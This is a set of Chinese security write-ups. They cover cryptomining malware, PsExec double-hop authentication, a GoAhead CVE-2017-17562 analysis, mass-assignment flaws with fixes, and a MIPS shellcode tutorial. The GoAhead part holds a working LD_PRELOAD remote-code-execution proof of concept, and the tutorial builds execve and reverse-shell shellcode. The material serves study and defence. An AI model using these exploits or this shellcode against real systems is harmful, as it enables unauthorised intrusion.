在下一步中，它会安装一个恶意的调度程序任务，从而舍弃矿工这一挖矿主体。 该程序执行合法的系统进程，并使用进程空洞技术（合法进程代码更改为恶意）。
另外，一个特殊的标志，系统关键标志，被设置为这个新的进程。 如果受害者试图终止此进程，则Windows系统将重新启动。
因此，处理这种恶意行为并正确检测威胁的安全解决方案是一个挑战。
**感染链**
**挖矿过程示例**
使用这种先进的技术，僵尸网络在2017年下半年赢得了700多万美元。
同样在今年，我们发现了一个威胁组织，它的目标是大型组织，主要目的是利用他们的计算机资源进行采矿。进入公司网络后，他们可以访问域控制器，因此他们使用域策略来启动恶意代码。在这种特殊情况下，参与者在公司网络中的每个端点和服务器上执行恶意的PowerShell脚本。
**恶意powershell脚本**
该脚本具有以下逻辑:
启动后，它将检查该端点是否属于特定帐户，即高级级别或信息安全人员。如果这是真的，那么脚本就不会执行这个矿。
该脚本还检查当前的日期和时间信息。 它将在非工作时间执行恶意矿工程序。
所以，接下来的是
我们是否应该期待这类恶意软件的进一步发展？ 当然。 此外，我们将看到使用新区块链技术的恶意软件的传播。
最近和非常有前途的技术是在区块链的空间证明（PoSpace）概念的基础上建立的。
与普通采矿僵尸网络中使用的工作证明（PoW）不同，PoSpace算法需要硬盘空间。 因此，基于这种算法的新型矿工将首先瞄准大数据服务器。
一方面，这种情况下的货币化就像通常使用PoW算法的恶意软件矿工那样。 另一方面，这项技术可以为网络犯罪分子提供另一笔利润。
PoS算法的区块链是一个非常大的分散式匿名数据中心，可用于传播恶意软件或非法内容。 因此，它可能带来更多的伤害。
数据将被加密，没有人会知道它的物理存储位置。
## 基于概念验证算法的挖掘方案
为了保护您的网络免受这些威胁，我们建议您：
* 定期进行安全审计
* 在端点和服务器上使用安全解决方案
卡巴斯基实验室产品通过各种判决来检测这些威胁。
* PDM：Trojan.Win32.Generic
* not-a-virus：RiskTool.Win32.BitCoinMiner
* HEUR：Trojan.Win32.CoinMiner | 社区文章 |
作者：[n1nty@360 A-TEAM](http://mp.weixin.qq.com/s/F4TQioi99t6_qnyBIbIiFA
"n1nty")
工具虽老，知识却不老。
这只是一个琐碎的细节，纯当笔记在写。如有错误，还请各位指点。
#### 预设场景
三台机器：
1\. PC-1 2\. PC-2 3\. PC-3
非域环境（其实域环境下也类似），三台机器上 Administrator 的密码全是 123456
#### 需要知道的背景知识
1. NTLMSSP 的基础知识（略过）
2. Windows 核心编程的一些基础
3. PsExec 远程执行的大概原理
4. PsExec 利用某一个账号，通过 SMB 协议连接远程机器的命名管道（基于 SMB 的 RPC），在远程机器上创建并启动一个名为 PSEXESVC 的服务
5. PSEXESVC 服务会注册新的命名管道
6. PsExec 连接至 PSEXESVC 新创建的命名管道，通过此管道通知 PSEXESVC 服务在远程机器上面启动我们指定的程序，并将程序的 stdin 与 stdout 通过命名管道转回本地 Shell，现实远程命令的本地交互（是不是有点像反弹 Shell？）。
上面说到 “PsExec 利用某一个账号”与远程机器进行身份验证，这里的某一个账号有可能是：
1. 执行 psexec 时利用 -u 与 -p 参数手动指定的账号密码
2. 当没有手动指定账号时，则利用当前用户的凭据信息（与 psexec 进程相关联的 token 中的凭据信息）
（实际根据 PsExec 版本的不同，有时就算手动指定了某个账号，PsExec 依然会先尝试利用当前用户的凭据去进行身份验证）
#### 测试 PsExec - 第一回
以 Administrator 登陆 PC-1，然后：
1.psexec \PC-2 cmd.exe
没有给 psexec 指定账号密码，psexec 会利用当前用户的凭据成功从 PC-1 连接到 PC-2，并获取到了一个可以伪交互的 cmd shell。
2.随后在 cmd shell 中执行：
psexec \\PC-3 hostname
尝试利用 PC-2 的 cmd shell 去连接 PC-3，并执行 hostname，期待能够看到 hostname 命令的输出，也就是：PC-3。
但是，失败了。
我本地的错误信息是：句柄无效。
为什么会失败呢？
#### 测试 PsExec - 第二回
以 Administrator 登陆 PC-1，然后：
1.psexec \PC-2 -u administrator -p 123456 cmd.exe
虽然通过第一回测试我们知道就算不手动指定 adminstrator 账号与密码也可以连接成功，但是这里我们还是指定吧。
成功从 PC-1 连接到了 PC-2，并获取到了一个可以交互的 cmd shell。
2.随后在 cmd shell 中执行：
psexec \\PC-3 hostname
3.成功从 PC-2 连接到了 PC-3，并执行了 hostname 命令，并成功得到回显：PC-3
为什么第一回的测试中，从 PC-2 连接至 PC-3 执行命令失败了，但在第二回的测试中可以成功呢？
在我的认知中，第一回确实是应该失败的。而且我认为，如果第一回失败，那么第二回的测试也应该失败才对。因为太长时间没有过用 PsExec
了，所以我自己在看到第二回测试成功的时候，诧异了一下，它与我的认知相悖了。
#### 第一回为什么应该失败？
PC-1 上通过 psexec \PC-2 cmd.exe 连接至 PC-2 后，我猜测 PC-2 上的 PSEXESVC 通过类似
ImpersonateNamedPipeClient 的函数 impersonate 了客户端的身份（也就是
Administrator）。后面映证了我的猜测是正确的。
impersonate 分为两个级别：
1. impersonation。此级别的 impersonate，使得服务端可以使用客户端的身份来访问本地资源，但是无法访问网络资源，这也被称为 SSP 的 double hop 的问题。（想了解更多的 Google "authentication double hop"）
2. delegation。此级别的 impersonate，使得服务端可以使用客户端的身份访问本地资源以及网络资源。
在微软提供的所有 SSP 中，只有 Kerberos 是支持 delegation 级别的 impersonate 的（MSDN
里面是这么说的），而且还需要在域控上进行特别的配置才可以。
所以，我猜测 PC-2 上的 PSEXESVC 对客户端进行了 impersonation 级别的 impersonate（事实也无法进行
delegation 级别的 impersonate，因为 NTLMSSP 不支持），所以它无法访问网络资源，自然也就无法再去远程访问 PC-3。
“无法再去远程访问 PC-3” 具体体现在，在 PC-2 上尝试远程连接 PC-3 的时候，与 PC-3 进行的是空会话认证，也就是所谓的
anonymous logon，即匿名登陆：
可以看到在上图的 NTLMSSP-TYPE 3 消息中， Negotiate Anonymous 标志位被设置为 1，且 Domain name/User
name/NTLM Response 处的值均为空。
#### 第二回为什么成功了？
第二回的测试成功了让我很诧异，我还以为我一直认为 “NTLM 无法 delegation” 这件事是错的。然后我去翻了一下 PsExec 的帮助文档，以及
PsExec 作者写的文章，才得以解惑。（PsExec 的作者是 Microsoft Azure 的 CTO！）
以下为摘录：
> When you specify a username the remote process will execute in that account,
> and will have access to that account's network resources.
>
> If you omit username the remote process will run in the same account from
> which you execute PsExec, but because the remote process is impersonating it
> will not have access to network resources on the remote system.
>
> If you do specify an alternative username/password, then PsExec will send
> the password in clear text. This can be a security risk if unauthorized
> network sniffers could intercept traffic between the local and remote
> system.
简单翻译就是：
如果在运行 psexec 的时候，没有指定用户名与密码，则 psexec 会使用当前的身份与远程机器进行验证。验证成功后服务端会 impersonate
客户端，此时无法通过远程机器访问任何的网络资源。（这里对应的第一回的测试情况，说明我的猜测是没错的）
如果手动指定了用户名与密码，则在验证通过后，PsExec 会将账号密码以明文的方式发送至远端服务器（从 2.1
版本开始，不再是明文发送）。通过这段描述，大概能猜到在手动指定了用户名与密码的情况下，PSEXESVC 不再是利用 impersonate
来获取客户端身份，而是通过其他的方式。我想这里解释了为什么第二回的测试是成功的。
我猜测，第二回的过程应该是这样的（网上好像没有 psexec 的源代码，而且我没有逆向能力，所以只能猜测了，我估计我猜的八九不离十）：
1. PsExec 通过当前用户的凭据或者我们手动指定的凭据（根据 psexec 版本的不同）连接至远程机器，创建并启动 PSEXESVC 服务。
2. PSEXESVC 服务会创建新的命名管道
3. PsExec 连接至 PSEXESVC 创建的管道，将我们指定的账号、密码、以及要执行的命令发送至管道
4. PSEXESVC 从管道处接收到我们发送的账号、密码、要执行的命令等信息
5. PSEXESVC 将账号、密码传入 LogonUser 类的函数，在远程机器上创建了一个新的 logon session。新的 logon session 就代表着一个新的 token。并以这个 token 启动了我们指定的程序，也就是 cmd.exe
6. 新的 token 中带有我们传入的凭据，所以在 PC-2 的这个 cmd shell 中再去执行 psexec \PC-3 hostname，会利用 token 中的凭据与 PC-3 进行验证。验证成功。
PsExec 通过将凭据发送至远程机器，避开了 NTLM 无法 delegation 的问题（也就是 double hop）的问题。如果你了解
CredSSP 的话，你会发现 PsExec 的这种做法与 CredSSP 非常相似。
#### 参考资料
* <https://ss64.com/nt/psexec.html>
* <http://www.itprotoday.com/management-mobility/psexec>
* * *
**欢迎关注作者公众号**
* * * | 社区文章 |
# GOAhead CVE-2017-17562深入分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.前提准备
GOAhead是一个嵌入式的web
server，前几周被爆出一个远程命令执行的漏洞，受漏洞影响版本：2.5-3.6.4。本文进行该漏洞的深入分析，漏洞调试环境：Ubuntu 16.04
64bit，GOAhead版本3.6.4，下载地址：[https://github.com/embedthis/goahead/releases。](https://github.com/embedthis/goahead/releases%E3%80%82)
### 1.1 GOAhead软件下载和配置
GOAhead安装和cgi扩展启用参考：[http://blog.csdn.net/yangguihao/article/details/49820765。](http://blog.csdn.net/yangguihao/article/details/49820765%E3%80%82)
GOAhead要启用CGI时，记的要修改/etc/goahead中的route.txt。
dir是cgi的存放目录，其目录下存放一个cgi_test,里面内容随便写,然后gcc编译即可。
输入cgi的url:<http://172.20.94.98:8888/cgi-bin/cgi_test>
### 1.2 LD_PRELOAD执行环境变量分析
LD_PRELOAD是Linux系统的一个环境变量，用于动态库的加载执行，动态库加载的优先级最高，一般情况下，其加载顺序为：LD_PRELOAD>LD_LIBRARY>/etc/ld.so.cache
>/lib>/usr/lib.它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态库，甚至覆盖正常的函数库。
LA_PRELOAD替换前：
LA_PRELOAD替换后：
演示程序：
ａ.主程序(login.c)
#include <stdio.h>
#include <string.h>
#include “myverify.h”
void main(int argc, char const argv[])
{
char pwd[] = “123456”;
if(argc < 2)
{
printf(“usage: %s <your password>n”, argv[0]);
return;
}
if(!verify(pwd, argv[1]))
{
printf(“login successn”);
}
else
{
printf(“login failn”);
}
}
b.调用库(myverify.h和myverify.c)
#include <stdio.h>
int verify(const char s1, const char s2);
#include <stdio.h>
#include <string.h>
#include “myverify.h”
int verify(const char s1, const char s2)
{
return strcmp(s1, s2);
}
c.编译运行效果如下：
相关命令解释如下：
gcc myverify.c -fPIC -shared -o libmyverify.so #编译动态链接库
gcc login.c -L. -lmyverify -o mylogin #编译主程序
export LD_LIBRARY_PATH=/home/daizy/workplace/CDemo/LinuxAPI/ #指定动态链接库所在目录位置
ldd myverifypasswd #显示、确认依赖关系
d.替换代码如下：(myhack.c)
#include <stdio.h>
#include <string.h>
int verify(const char s1, const char *s2)
{
printf(“hack function invoked.n”);
return 0;
}
e.编译设置环境变量LD_PRELOAD,运行替换代码效果如下：
export LD_PRELOAD=”./myhack.so” #设置LD_PRELOAD环境变量,库中的同名函数在程序运行时优先调用
ps:替换结束，要还原函数调用关系，用命令unset LD_PRELOAD 解除
## 2.CVE分析
以GOAhead 3.6.4版本为例进行漏洞分析：
当用户post提交数据时，goahead最终会调用http.c中readEvent(Webs
*wp)进行数据读取的处理，其中结构体Webs后续会常看到，此处先给出该结构体大致定义，在goahead.h中可以查找到：
* * *
typedef struct Webs {
WebsBuf rxbuf; /< Raw receive buffer /
WebsBuf input; /< Receive buffer after de-chunking /
WebsBuf output; /< Transmit buffer after chunking /
WebsBuf chunkbuf; /< Pre-chunking data buffer /
WebsBuf txbuf;
WebsHash vars; /< CGI standard variables /
int rxChunkState; /< Rx chunk encoding state /
ssize rxChunkSize; /< Rx chunk size /
char rxEndp; /< Pointer to end of raw data in input beyond endp /
ssize lastRead; /**< Number of bytes last read from the socket /
ssize txChunkPrefixLen; /< Length of prefix /
ssize txChunkLen; /< Length of the chunk /
int txChunkState; /< Transmit chunk state /
char filename; /< Document path name /
char path; /< Path name without query. This is decoded. /
int sid; /< Socket id (handler) */
int routeCount; /< Route count limiter /
ssize rxLen; /< Rx content length /
ssize rxRemaining; /< Remaining content to read from client /
ssize txLen; /< Tx content length header value /
int wid; /< Index into webs /
char cgiStdin; /< Filename for CGI program input /
int cgifd; /< File handle for CGI program input /
struct WebsRoute route; /< Request route /
struct WebsUser user; /< User auth record /
} Webs;
* * *
其中说明几个重要字段，后续分析会使用到：rxbuf(接受post提交的数据的buf)、vars(需要CGI处理的变量)、cgiStdin(cgi处理程序的标准输入)、cgifd(cgi处理程序的文件句柄).
readEvent(Webs wp)代码如下：
readEvent中通过函数websRead读取用户提交的数据，并填充到rxbuf中，其中websRead()根据是否是https，采用sslread和socketRead来读取用户提交的数据。数据读取完成后，由于nbytes>0,进入到websPump()函数继续处理。
websPump代码结构如下，本质就是一个for循环，停止条件取决于canProceed，然后根据wp->state来调用相关函数进行处理；刚开始state条件是0,也就是WEBS_BEGIN，进入到parseIncoming函数处理阶段。
PUBLIC void websPump(Webs wp)
{
bool canProceed;
for (canProceed = 1; canProceed; ) {
switch (wp->state) {
case WEBS_BEGIN:
canProceed = parseIncoming(wp);
break;
case WEBS_CONTENT:
canProceed = processContent(wp);
break;
case WEBS_READY:
if (!websRunRequest(wp)) {
/ Reroute if the handler re-wrote the request /
websRouteRequest(wp);
wp->state = WEBS_READY;
canProceed = 1;
continue;
}
canProceed = (wp->state != WEBS_RUNNING);
break;
case WEBS_RUNNING:
/ Nothing to do until websDone is called /
return;
case WEBS_COMPLETE:
canProceed = complete(wp, 1);
break;
}
}
}
parseIncoming()函数会parseHeader()进行http header头的处理parseHeader函数中，根据content-length的值，设置reLen的值，由于rxLen>0然后state=WEBS_CONTENT】。
然后进入函数websRouteRequest()，根据1.1节里面提到的route.txt进行request
route处理设置，比如route到cgi处理。
判断route->handler->service是否是cgiHandler，如果是cgiHandler，则先判断method，是否是post，然后设置cgiStdin=websGetCgiCommName(),同时cgifd
=
open(cgiStdin),然后返回1=canProceed，继续在websPump()函数的for循环中。parseIncoming函数整体代码如下：
其中函数websGetCgiCommName调用的是websTempFile函数，该函数注释说明如下，返回的文件路径是/tmp/cgi:
/Create a temporary filename
This does not guarantee the filename is unique or that it is not already in use by another application.
@param dir Directory to locate the temp file. Defaults to the O/S default temporary directory (usually /tmp)
@param prefix Filename prefix
@return An allocated filename string
@ingroup Webs
@stability Stable
/
PUBLIC char websTempFile(char dir, char prefix);
由于state=WEBS_CONTENT，进入到processContent()函数处理：先进行filterChunkData()函数的chunk过滤处理，当用户在http
头部，使用Transfer-Encoding:
chunked时，数据以一系列分块的形式进行发送，分块传输不是分析重点，就不深入分析了，简而言之，filterChunkData会使canProceed=1，wp->eof=1;后续由于cgifd>0,因此进入到函数websProcessCgiData
(),websProcessCgiData处理完后，由于eof=1，因此state= WEBS_READY.
websProcessCgiData函数：也就是把用户post提交的数据，保存到cgifd中，就是先前通过cgiStdin=websGetCgiCommName()获得，也就是文件“/tmp/cgi
** _”。
此时由于state=
WEBS_READY，canProceed=1，进入到websRunRequest(wp)函数中：该函数中就是先提取url中的var变量，然后设置state=WEBS_RUNNING，然后调用(route->handler->service)(wp)，即cgiHandler
(wp),该函数在cgi.c中。
由于cgiHandler()在处理cgi扩展时，只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤，其他var变量都会当成可信环境变量，传入到cgi扩展处理进程中。
Cgi.c中在处理完参数之后，然后将标准输入重定向到：/tmp/cgi**_**，也就是post数据保存的地方，代码详情如下：
输入、输出重定向完成后，cgi.c中就调用launchCgi，开始调用cgi的扩展处理进程，并传入上述envp生成的环境变量。【注意：launchCgi分三个版本：windows、unix和VXWORKS，函数别定位错误】
找到launchCgi处理函数，代码如下：
执行到函数vfork()后，会将子进程（也就是cgi的处理进程）的标准出入、输出重定向到前文分析到的/tmp/cgi文件，也就是post数据存放的文件；然后调用execve()调用cgi处理进程，并传递envp中的系统环境变量，结合上文分析的LA_PRELOAD变量，可以实现任意代码执行。
但是现在还存在一个问题，就是通过环境变量：LA_PRELOAD，可以指定加载本地的共享库，进行代码执行，但是如何变成远程危害命令执行呢？也就是如何上传恶意代码，并且通过环境变量：LA_PRELOAD，进行指定呢？
在前面分析中我们得知，由于goahead webserver在处理cgi扩展时，当用户post提交了数据，goahead
webserver会将其存到/tmp/cgi中，这不就是可以恶意代码了嘛？
但是如何知道上传的全路径名称呢？爆破还是其他，都不是好的方法。由于cgi处理进程中，将标准输入、输出重定向到了/tmp/cgi**，所以现在问题，就是我们能不能找到一个路径连接，是指向标准输入？Linux上刚好存在这种符号链接：/proc/self/fd/0和/dev/stdin，于是我们可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令。
整个goahead-cgi的执行流程图如下：
## 3\. POC
daizy@daizy:~/workplace/CDemo$ curl -X POST —data-binary @payload.so http://172.20.94.98:8888/cgi-bin/cgi_test?LD_PRELOAD=/proc/self/fd/0 -i | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8128 0 0 100 8128 0 7885 0:00:01 0:00:01 —:—:— 7891
curl: (18) transfer closed with outstanding read data remaining
HTTP/1.1 200 OK
Date: Thu Dec 28 12:33:37 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hacked by daizy
其中payload.so是由以下代码编译获得：
#include <unistd.h>
static void beforemain(void) _attribute((constructor));
static void before_main(void)
{
write(1, “hacked by daizyn”,16);
}
编译命令：gcc -shared -fPIC payload.c -o payload.so
其中标签属性:constructor,表示该函数由.init初始化时执行，也就是在cgi的扩展main函数之前会被执行。
## 4.参考文章
<https://www.elttam.com.au/blog/goahead/>
<https://www.cnblogs.com/net66/p/5609026.html> | 社区文章 |
## 浅析自动绑定漏洞( _mass assignment_ vulnerability)
#### 一.自动绑定
软件框架有时允许开发人员自动将HTTP请求参数绑定到程序变量或对象中，以使开发人员更容易使用该框架开发。这有时会造成伤害。攻击者有时可以使用这种方法来创建，修改，更新开发人员或者业务本身从未打算设计到的参数，而这些新参数反过来又会影响程序代码中不需要的新变量或对象。
本人比较熟悉Java，因此就拿Spring MVC中的自动绑定作为举例，假设有一个用户提交基本信息的功能：
首先看前端html：
<form action=“addUserInfo” method="post">
<input name=username type=text><br>
<input name=phone type=text><br>
<input name=email text=text><br>
<input type=submit>
</form>
很简单，一个form表单，通过post提交username，phone，email到addUserInfo。
我们看一下用户的实体类：
public class User {
private String userid;
private String username;
private String phone;
private String email;
private boolean isAdmin;
//Getters & Setters
}
可以看到User的实体类存在除了username，phone，email还有比较重要的userid和isAdmin参数。
我们接下来看一下controller层如果利用了自动绑定可以写出的处理方式：
@RequestMapping(value = "/addUserInfo", method = RequestMethod.POST)
public String submit(User user) {
userService.add(user);
return "successPage";
}
ok，到这里大家也许应该可以看明白了。
#### 二.潜在危害
结合上面的demo，我们可以看到，controller层使用的自动绑定对象的方式，也就是使用了post请求的参数直接绑定到了User，虽然前端form表单中仅出现了username，phone，email，但是如果使用burp等工具向addUserInfo发送了
POST /addUserInfo
username=daheike&password=bypass&[email protected]&isAdmin=true
或者
POST /addUserInfo
username=daheike&password=bypass&[email protected]&userid=adminid
那么如果后续使用了被污染的对象的被污染的属性，那么就会产生一定的安全问题。
#### 三.案例
[1].2012年，GitHub被黑客利用了自动绑定漏洞。用户能够将其公钥上传到任何组织，从而在其存储库中进行更改：<https://github.com/blog/1068-public-key-security-vulnerability-and-mitigation>
[2].某P2P系统对象自动绑定漏洞可任意充值：<https://threathunter.org/topic/593ff6bc9c58e020408a79d4#595485920084b15859bc7219>
#### 四.总结
在案例2中，我猜测可能是编写程序的人员处理不当，导致用户设置地址时自动绑定到了用户对象中，并且orm中并未严格区分业务，将整个用户对象更新，插入到了用户表中，导致了漏洞的触发；那么问题可能就不仅仅是文中的一处看，可能多处都会有该问题存在。
自动绑定漏洞并非仅在Spring MVC中可能出现，只要有自动绑定功能的框架都可能出现这样的逻辑问题。
但是可能对于大部分安全人员来说，可能面对的是一个黑盒的环境，很难发现controller层或者orm是否存在这样的问题，那么可能就需要多个表单的交叉对比，猜测活着推测出可能出现问题的点了。
#### 五.修复建议
通用修复方法是：避免将输入直接绑定到域对象，只有用户可以编辑的字段才包含在DTO中。以上文中的deom为例：
public class UserRegistrationFormDTO {
private String username;
private String password;
private String email;
//Getters & Setters
}
或者可以修改controller层，仅接收用户可以修改的参数：
@RequestMapping(value = "/addUserInfo", method = RequestMethod.POST)
public String submit(String username,String phone,String email) {
userService.add(username,phone,email);
return "successPage";
}
也可以设置白名单：
@Controller
public class UserController
{
@InitBinder
public void initBinder(WebDataBinder binder, WebRequest request)
{
binder.setDisallowedFields(["isAdmin"]);
}
...
}
#### 六.其他语言框架修复建议
##### 1.NodeJS + Mongoose
白名单
var UserSchema = new mongoose.Schema({
userid : String,
username : String,
password : String,
email : String,
isAdmin : Boolean,
});
UserSchema.statics = {
User.userCreateSafeFields: ['username', 'password', 'email']
};
var User = mongoose.model('User', UserSchema);
_ = require('underscore');
var user = new User(_.pick(req.body, User.userCreateSafeFields));
黑名单
var massAssign = require('mongoose-mass-assign');
var UserSchema = new mongoose.Schema({
userid : String,
username : String,
password : String,
email : String,
isAdmin : { type: Boolean, protect: true, default: false }
});
UserSchema.plugin(massAssign);
var User = mongoose.model('User', UserSchema);
/** Static method, useful for creation **/
var user = User.massAssign(req.body);
/** Instance method, useful for updating **/
var user = new User;
user.massAssign(req.body);
/** Static massUpdate method **/
var input = { username: 'bhelx', isAdmin: 'true' };
User.update({ '_id': someId }, { $set: User.massUpdate(input) }, console.log);
##### 2.Ruby On Rails
<http://guides.rubyonrails.org/v3.2.9/security.html#mass-assignment>
##### 3.Django
<https://coffeeonthekeyboard.com/mass-assignment-security-part-10-855/>
##### 4.ASP.NET
<http://odetocode.com/Blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx>
##### 5.PHP Laravel + Eloquent
白名单：
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class User extends Model
{
private $userid;
private $username;
private $password;
private $email;
private $isAdmin;
protected $fillable = array('username','password','email');
}
黑名单：
<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class User extends Model
{
private $userid;
private $username;
private $password;
private $email;
private $isAdmin;
protected $guarded = array('userid','isAdmin');
}
##### 6.Grails
<http://spring.io/blog/2012/03/28/secure-data-binding-with-grails/>
##### 7.Play
<https://www.playframework.com/documentation/1.4.x/controllers#nobinding>
##### 8.Jackson (JSON Object Mapper)
<http://www.baeldung.com/jackson-field-serializable-deserializable-or-not>
<http://lifelongprogrammer.blogspot.com/2015/09/using-jackson-view-to-protect-mass-assignment.html>
##### 9.GSON (JSON Object Mapper)
<https://sites.google.com/site/gson/gson-user-guide#TOC-Excluding-Fields-From-Serialization-and-Deserialization>
<http://stackoverflow.com/a/27986860>
##### 10.JSON-Lib (JSON Object Mapper)
<http://json-lib.sourceforge.net/advanced.html>
##### 11.Flexjson (JSON Object Mapper)
<http://flexjson.sourceforge.net/#Serialization>
#### 七.参考／翻译
Mass Assignment Cheat
Sheet:<https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet#Solutions> | 社区文章 |
# MIPS 指令集 Shellcode 编写入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> H4lo@海特实验室
## 前言
Shellcode 是一段可以执行特定功能的特殊汇编代码，在设备漏洞利用过程中，尤其是栈溢出漏洞，我们一般都会使用调用 shellcode
的方法来进行攻击（ret2shellcode）。
MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异，同时在实际利用 MIPS 的 shellcode
时可能会有坏字符的问题，因此还是需要掌握一些 shellcode 编写的技巧，这样在实际利用时才能比较灵活的运用。
## MIPS 系统调用
我们在写 shellcode 过程中，都会用到系统调用。和 x86 的系统调用相似，MIPS 系统调用也会用到系统调用号。
### 调用过程
使用系统调用的过程依旧是先赋值好参数($a0、$a1、$a2)，然后使用 syscall 指令触发中断，来调用相应函数：
如，这里如果需要调用 `exit(1)` 函数，可以表示成以下的汇编代码：
li $a0,1
li $v0,4001 // sys_exit
syscall 0x40404
与 x86 指令不同的是，这里的系统调用号是存储在 v0 寄存器中。
MIPS 的系统调用号可以在 `/usr/mips-linux-gnu/include/asm/unistd.h` 中看到，调用号是从 4000 开始：
关于 mips 交叉环境，可以直接使用下面的命令安装：
`sudo apt-get install libc6-mips-cross`
其他架构的环境安装方法类似。
## MIPS 指令汇编/反汇编
在将我们写好的 MIPS 汇编转换成 shellcode 时，可以使用 `rasm2` 工具进行转换，这个工具是 `radare`
工具的一个专门进行汇编/反汇编的工具，关于工具的安装方法见参考链接。
例如，我们可以使用命令下面的命令对 MIPS 指令集进行汇编：
➜ ~ rasm2 -a mips -b 32 "addiu a0,zero,1"
01000424
参数说明：
-a：指定架构为 MIPS
-b：指定程序位数
-d：反汇编
也可以进行反汇编：
➜ ~ rasm2 -a mips -b 32 -d "01000424"
addiu a0, zero, 1
可以指定 -f 参数来将文件内容中的代码语句读取并汇编：
➜ ~ cat test.asm
addiu a1,zero,2;
sw 2,-24(sp);
➜ ~ rasm2 -a mips -b 32 -f ./test.asm
02000524e8ffa2af
注意这里每一句汇编语句后面都需要加上分号。
-C 参数还可以生成 shellcode 格式，使用起来比较方便：
➜ ~ rasm2 -a mips -b 32 -C -f ./test.asm
"\x02\x00\x05\x24\xe8\xff\xa2\xaf"
### 示例：execve 函数的执行
举个例子，在 C 语言中执行 `execve` 函数来获取 shell 的代码如下：
#include <stdlib.h>
int main(){
execve("/bin/sh",0,0);
return 0;
}
对应的汇编代码为：
lui $t6,0x2f62
ori $t6,$t6,0x696e
sw $t6,28($sp) // 将 "/bin" 存入 $sp+28 的栈空间
lui $t7,0x2f2f
ori $t7,$t7,0x7368
sw $t7,32($sp) // 将 "//sh" 存入 $sp+28 的栈空间
sw $zero,36($sp) // 0 截段
la $a0,28($sp) // a0 寄存器指向 "/bin//sh" 栈空间
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011 // execve 的系统调用号为 4011
syscall 0x40404 // 调用 execve("/bin/sh",0,0);
在第一、第二行中，lui 和 ori 指令配合使用可以赋值一个 4 字节空间，lui 指令赋值高位 2 字节，ori 指令赋值低位 2 字节。
## 反弹 shell 的 shellcode 汇编代码编写
在实际使用 shellcode 进行利用的过程中，一般是编写、使用能够反弹 shell 的 shellcode 来 getshell 而不使用直接执行
`execve` 函数的方法。针对于反弹 shell 的 shellcode 汇编代码，编写起来会更加复杂，但是系统调用的过程步骤都是不变的：
socket(2,1,0) -> dup2(s,0/1/2) -> connect(s,(sockaddr *)&addr,0x10) \
-> execve("/bin/sh",["/bin/sh",0],0) -> exit(0)
那么这里就对几个函数调用的步骤进行分解，依次写出系统调用的汇编代码。
### socket 系统调用
这里我们使用 TCP reverse shell 的方式来反弹 shell。那么调用 `socket` 函数以 C 语言来表示的话如下：
socket(AF_INET,SOCK_STREAM, 0)
在 xxx 中，我们可以查到 `AF_INET`、`SOCK_STREAM` 常量对应的数值为 2 和 1。同样可以知道 `socket` 的系统调用号为
4183。
第一步先给三个参数（a0、a1、a2）赋值，即：
addiu $a0, $zero, 2;
addiu $a1, $zero, 1;
addiu $a3, $zero, 0;
addiu $v0, $zero, 0x1057;
syscall 0x40404;
sw $v0,10($sp); // 将描述符存入栈中
使用 `rasm2` 进行汇编转换为 shellcode：
➜ mips cat conn
addiu a0, zero, 2;
addiu a1, zero, 1;
addiu a3, zero, 0;
addiu v0, zero, 0x1057;
syscall 0x40404;
sw $v0,10($sp);
➜ mips rasm2 -a mips -b 32 -C -f ./conn
"\x02\x00\x04\x24\x01\x00\x05\x24\x00\x00\x07\x24\x57\x10\x02\x24\x0c\x00\x00\x00"
在将汇编代码写进文件时，因为 `rasm2` 无法识别 $，所以需要手动去掉 $ 符号。
### dup2 系统调用
dup2 函数的作用是复制文件描述符，将 socket 描述符复制 stdin、stdout、stderr 描述符中，这里我们就能在远程与本地交互。
以 C 语言来表示的话如下：
dup2(socket_obj,0)
dup2(socket_obj,1)
dup2(socket_obj,2)
dup2 的系统调用号为 4063。
对应的汇编表示为：
lw $v0,10($sp); // sys_socket 系统调用的返回值，即 sock 对象
addiu $a1,zero,0
addiu $v0,zero,4063
syscall 0x40404
lw $v0,10($sp); // sys_socket 系统调用的返回值，即 sock 对象
addiu $a1,zero,1
addiu $v0,zero,4063
syscall 0x40404
lw $v0,10($sp); // sys_socket 系统调用的返回值，即 sock 对象
addiu $a1,zero,2
addiu $v0,zero,4063
syscall 0x40404
shellcode 表示：
➜ mips rasm2 -a mips -b 32 -C -f ./conn
"\x20\x20\x40\x00\x00\x00\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x20\x20\x40\x00" \
"\x01\x00\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x20\x20\x40\x00\x02\x00\x05\x24" \
"\xdf\x0f\x02\x24\x0c\x00\x00\x00"
经常在这里，我们会加上一个循环，使得最终生成的 shellcode 会短一些，如：
lw $v0,10($sp)
addiu $a1,$zero,2
loop:
addiu $v0,$zero,4063
syscall 0x40404
addiu $t5,$zero,-1
addi $a1,$a1,-1
bne $a1,$t5,loop
### connect 系统调用
`connect` 函数的作用是通过 socket 连接到指定的 ip 地址监听的端口。函数原型为：
int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
第一个参数为 socket 函数返回的 sock 对象，第二个参数为指定服务端 ip 和端口的结构体，第三个参数为结构体的大小。
示例的 C 语言源代码：
struct sockaddr_in server;
servser.sin_family=AF_INET;
server.sin_port=htons(6666);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sock,(struct sockaddr *)&server,sizeof(server));
这里重点是 `connect` 函数的第二个参数，这个参数为 `sockaddr` 结构体，这个结构体的原型如下：
struct sockaddr {
sa_family_t sin_family; //地址族，2 个字节
char sa_data[14]; //14字节，包含套接字中的目标地址和端口信息
};
